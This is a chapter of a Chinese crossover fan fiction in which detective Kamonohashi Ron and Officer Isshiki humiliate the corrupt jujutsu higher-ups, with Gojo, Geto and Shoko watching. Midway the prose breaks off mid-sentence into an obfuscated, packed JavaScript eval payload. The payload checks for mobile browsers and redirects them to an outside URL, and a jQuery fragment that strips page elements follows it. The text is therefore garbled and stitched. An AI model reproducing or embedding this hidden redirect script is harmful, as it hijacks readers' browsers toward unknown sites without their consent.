48.百鬼夜行的魑魅魍魉(1)
作品:《咒术界的禁忌推理》 咒术界高层确实是来者不善。
虽然咒术高层本来就不是什么好人,但是他们能够学坏的程度某种程度上简直是令人叹为观止。不安desu不止是樱花妹的专属,这种日式的,微妙的,莫名的不安情绪当然有可能在任何日本人身上,也会在高层这些已经腐烂的橘子身上。
不如说正是金玉其外败絮其中所以才更容易变得不安,看谁都像是要害他们,先别提害不害的问题,难道咒术界高层的地位是什么皇位吗?总有刁民要害朕?害怕一觉醒来自己被怨灵给吓着了,还是害怕一觉醒来自己马上被黄袍加身要搞什么在日本并不存在的政变啊?
咒术界高层大多数都是蠢货,如果觉得这种说法太过于直白,那么换个说法就是咒术界高层有一部分不是蠢货。
但是就算有不是蠢货的家伙,也会在某种程度上受到裹挟的,而这种裹挟,导致好橘子也沾染上了腐烂的气息,无可避免的变成了烂橘子。
一色都都丸进入咒术总监部的时候,人已经无语到极致了,还用屏风挡着不让他看见脸,不是,他很可怕吗?说到底他只是普通警察而已吧,如果没违法犯罪……哦,按照论的说法,这些人搞不好干了不少违法犯罪的事情,主打没有一个人是干净的,所以这算什么,怕警视厅警官给他们拍照挂起来通缉?
至于保持神秘感和压迫力什么的,不好意思,一色都都丸一想到未来总监部会下发的左右脑互博的弱智通知,他就毫无紧张感,屏风后面如果是什么神秘的大佬,难以得见的皇室贵族之类的还可能紧张一下,但是现在屏风后面是一群弱智,甚至可能还有点侮辱弱智。
正常人面对屏风后面的一群弱智会紧张吗,正常人会紧张的唯一地方在于这些弱智一开口会不会侮辱自己的智商。
屏风后面的人咳嗽了两声,似乎是打算开始问问题,一开始嘛,当然都是一些无伤大雅的小问题,比如说在咒术界怎么样啊,过的习不习惯啊,禁忌侦探如何啊,但是很快,他们就话锋一转,说道:“一色警官,您也知道,禁忌侦探的能力是被动的,相当不可控,我们觉得,应该有更严密的监视……您觉得如何呢?”
一色警官:“论控制的很好,不劳你们费心。”
“哎呀,一色警官,可不是这种简单的意思啊,他就算控制的很好,还能一直控制的好吗?”其中一位高层说道,“要是完全控制不住那可是毁灭性的啊,你只是个普通人,再者我们也不是剥夺你对他的监视权力,只是再找一位咒术师能更好的看着他。”
当然,所谓的更好的看着底下到底有多少蝇营狗苟这些咒术界的高层们是不会说的,他们甚至都觉得没必要说,认为一色都都丸和他们一样,肯定会懂那些弯弯绕绕的,怎么会不舍得放这么一点小权出来呢。
一色都都丸:“我拒绝,论是活生生的人,不是你们用来争权夺利的工具。”
他的话语太过直白,一下子点出了高层那点微妙的小心思,已经有高层恼羞成怒,大声斥责道:“一色警官,你不要敬酒不吃吃罚酒,普通人社会的咒灵事件,可都是由咒术师处理的,要是断了那些支援,你们警方能单独解决那些有关咒灵的案子!怕不是要被民众彻底投诉成税金小偷了。”
一色都都丸:“……?”
他听到了什么东西,完全不办事的家伙在指责一线的警察?咒术界高层有病吧!
他一个没忍住,说道:“那和你们有什么关系,一线咒术师要么是东京或者京都咒术高专的老师或学生,要么是御三家的咒术师——哦,顺带一提,御三家的咒术师可真不怎样,一请二请就算了,也不正眼看普通人,可能其他人会归结为什么大师脾气吧,在我看来就是纯纯拿钱还不办事。”
咒术界高层:“……”
一色都都丸又不是没接触过相对好点的咒术师,五条悟和夏油杰去祓除咒灵的时候从来不耍大牌,至少在知情者眼里不耍大牌,至于有些看起来像跳大神的情况,那完全是对不懂的人的需要。
这些坐在高处的高层拿这个道德绑架他?你想搞道德绑架,至少你自己得先有道德吧!
咒术界高层的脾气似乎也上来了,一色都都丸在咒术界没有什么背景,所以还算比较好操作,正当他们想要暗箱操作把一色都都丸调离出去,至少要让他远离“禁忌侦探”的时候,咒术总监部的门,忽然炸了。
然后他们就听到了五条悟的声音。
“鸭嘴兽,我只能帮你到这儿了,炸总监部是肯定不能炸的,毕竟一色警官还在里面,但是炸个总监部的大门而已……”
“什么炸了总监部的大门,五条君只是在尝试新技能的时候没掌握好不小心炸了总监部而已了,这都是意外,写个检讨就了结的事情。”那是鸭乃桥论的声音,然后很快,一色都都丸就发现论进入了总监部,从五条悟“意外”炸掉的总监部大门那里。
鸭乃桥论看向一色都都丸:“我想来想去还是觉得这群老爷子不怀好意,是搭档的话,我当然要和你一起面对,那个时候我不就说过了吗,都都,这是属于我们的禁忌推理。”
好几个高层都被噎到了,面对着鸭乃桥论只能说出:“你,你,你……”的话来,而鸭乃桥论也不和他们客气,表情相当冷淡地说道:
“谁让你们动我的搭档的?”
似乎是感觉气氛还不够僵硬,鸭乃桥论还下了好几个大料:“你,三年前排挤东京咒术高专的咒术师,导致当时出任务的咒术师两死一伤,还有你,为了排挤和你竞争的高层勾结诅咒师,将那位高层给暗杀了,以及你,为了豢养强大的咒灵故意压着窗的报告……你们,还需要我继续说下去吗?”
咒术界高层们:“……”
没人敢说话,因为鸭乃桥论说的都是真的,但是鸭乃桥论说完推理之后会发生
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17137876|192358||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
什么——很快就有人意识到了这件事,试图调动咒力保护自己,但是显然这些人都是一些眼高于顶,对咒术疏于锻炼——与其说是疏于锻炼不如说根本就是缺乏足够实战经验的家伙,没保护好自己反倒搞得一团乱麻……
“轻视生命的人,没有活着的资格——”
而明显在总监部外面的三个问题儿童,比如说五条悟:“我说啊,杰,我们真的不去意思意思的阻止一下吗?虽然鸭嘴兽说他不会搞出人命来的……毕竟那东西都变成咒术了应该不会搞出人命吧,不对,话说回来是不是直接搞出人命比较好啊?我感觉他自己就能把总监部给拆了诶。”
他也看那群烂橘子不爽很久了。
夏油杰笑眯眯地说道:“说什么呢,悟,鸭乃桥君又不是咒术师,这不是你说的吗,鸭乃桥论是普通人,普通人是弱者,所以我们应该保护他,打倒要对普通人出手的邪恶咒术师。”
是的,咒术总监部全是要对付普通人的邪恶咒术师,就算,好吧,就算鸭乃桥论不太算普通人,就算鸭乃桥论有了咒术,那一色警官不还完全是普通人吗!
家入硝子抽了一根烟,然后说道:“我倒是更希望鸭乃桥君把那些人全都弄死算了,毕竟要是没有全弄死,大概率加班的会是我。”
有没有人在意一下她要加班啊?
鸭乃桥论和一色都都丸从总监部出来的时候,显然总监部内部一片混乱,伤的伤,昏迷的昏迷,至于家入硝子要不要加班的问题,鸭乃桥论表情相当无辜地说道:“我帮这些老人家叫了救护车。”
五条悟:“诶?你是说,普通人的救护车?”
一色都都丸:“不然呢?都是一些老年人,难道让家入小姐给他们治病吗?就算家入小姐你想治,你有行医执照吗?专业的事情还是要让专业的人来。”
家入硝子:“……”
没有记错的话,如果是去日本的普通医院,他们还得支付治疗的账单。
但是想了想解决了她有可能并不想拥有的加班问题,又觉得如果是这样的话还真挺无所谓的,本来也不想给他们治。
五条悟:“所以刚才发生了什么?”
一色都都丸:“论用术式让高层的家伙们开始狗咬狗了……呃,知道的不知道的罪证一个一个的往他们嘴里蹦出来,还都是别人的罪证……”
“因为我下的指令就是把你知道的同僚的犯罪事实全说出来。”鸭乃桥论说道。
五条悟:“诶?不只是能让有杀意且杀过人的人自杀了?”
“术式反转的用法,正转还是让人自杀。”鸭乃桥论说道,“五条君不是都开始研究虚式以及无下限的过滤了吗?”
夏油杰看着前面聊天的两个人,虽然表情没怎么表现,但是显然内心好像有些着急。
“夏油君。”一色都都丸忽然说道,“有些时候有些事情不要太着急。”

